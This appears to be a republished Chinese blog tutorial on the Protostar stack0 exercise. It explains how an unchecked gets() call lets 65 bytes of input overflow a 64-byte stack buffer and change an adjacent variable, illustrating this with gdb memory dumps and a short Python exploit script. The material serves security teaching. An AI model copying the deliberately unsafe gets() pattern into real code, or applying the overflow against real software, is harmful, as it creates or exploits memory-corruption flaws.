Protostar——stack0
Posted white-noise
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Protostar——stack0相关的知识,希望对你有一定的参考价值。
简介
我们知道,当程序执行进入一个新的函数时,系统会为函数在栈上分配一块空间,用来存储函数中使用的参数和局部变量信息,用寄存器ESP和EBP指示空间范围,当从函数返回时,这块空间也会被抛弃,实际上就是修改ESP和EBP寄存器中的值。这个练习说明了变量在栈的分配情况,以及怎样突破ESP和EBP对空间的限制,修改分配空间外的数据,使得函数的执行逻辑发生变化。
源码
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 5 int main(int argc, char **argv) 6 { 7 volatile int modified; 8 char buffer[64]; 9 10 modified = 0; 11 gets(buffer); 12 13 if(modified != 0) { 14 printf("you have changed the ‘modified‘ variable\n"); 15 } else { 16 printf("Try again?\n"); 17 } 18 }
分析
这个练习只是一个练手,所以很简单。
程序中包含两个变量,一个modified,被声明为volatile,这个标识符表示每次使用modified变量都从内存中读取值,而不是使用cache中保存的值;还有一个变量buffer,占用64个字节的空间。程序使用gets函数读取用户输入,并保存到buffer中,之后根据modified变量的值决定if语句的执行逻辑。
按照正常情况,由于modified使用等于0,因此程序应该使用输出"Try again?",但是由于在获取用户输入时没有判断用户输入数据的大小,因此用户可能会输入大于64个字节的内容,造成栈溢出。那么我们怎么通过这个栈溢出漏洞修改modified的值,从而修改if语句的执行逻辑呢?
调试程序
Stack0在/opt/protostar/bin/文件夹中,直接执行
gdb stack0
进入gdb调试,根据源码,在第13行设置断点
b 13
执行r,使程序继续执行,并输入aaaa作为用户输入,程序在第13行暂停,我们先来看一下EBP和ESP的值
(gdb) print $ebp $1 = (void *) 0xbffffcb8 (gdb) print $esp $2 = (void *) 0xbffffc50
我们可以输出这部分内存的内容
1 (gdb) x/26xw 0xbffffc50 2 0xbffffc50: 0xbffffc6c 0x00000001 0xb7fff8f8 0xb7f0186e 3 0xbffffc60: 0xb7fd7ff4 0xb7ec6165 0xbffffc78 0x61616161 4 0xbffffc70: 0xb7fd7f00 0x08049620 0xbffffc88 0x080482e8 5 0xbffffc80: 0xb7ff1040 0x08049620 0xbffffcb8 0x08048469 6 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffffcb8 7 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000 8 0xbffffcb0: 0x08048450 0x00000000
可以看到第二行最后的0x61616161,这就是我们输入的aaaa,也是buffer的起始位置。再来看一下变量modified在哪里
(gdb) info address modified Symbol "modified" is a local variable at frame offset 92.
我已经把偏移值为92的位置加红了,我们可以看到buffer的起始位置和modified相差64个字节。在这次执行时我们只输入了"aaaa",如果我们继续输入超过64个字节的内容,就会覆盖modified变量的值,但是要注意不要超过变量modified的位置,否则会覆盖其他关键信息(例如返回地址),使程序崩溃。
EXPLOIT的编写
那么exploit都需要做些什么呢?其实很简单,就是执行stack0这个程序,并在程序需要用户输入时,自动输入payload,我们的payload可以是65个a字符。
因为要在程序执行过程中处理用户输入的问题,所以使用subprocess模块。
exploit代码:
1 import subprocess 2 proc = subprocess.Popen("/opt/protostar/bin/stack0", stdin=subprocess.PIPE) 3 payload = ‘a‘ * 65 4 proc.communicate(payload)
执行将上述代码保存为python文件并运行,就会发现程序输出已经变成了"you have changed the ‘modified‘ variable"
参考文献
- https://docs.python.org/2/library/subprocess.html#popen-objects
- http://www.yolinux.com/TUTORIALS/GDB-Commands.html
- https://exploit-exercises.com/protostar/stack0/
以上是关于Protostar——stack0的主要内容,如果未能解决你的问题,请参考以下文章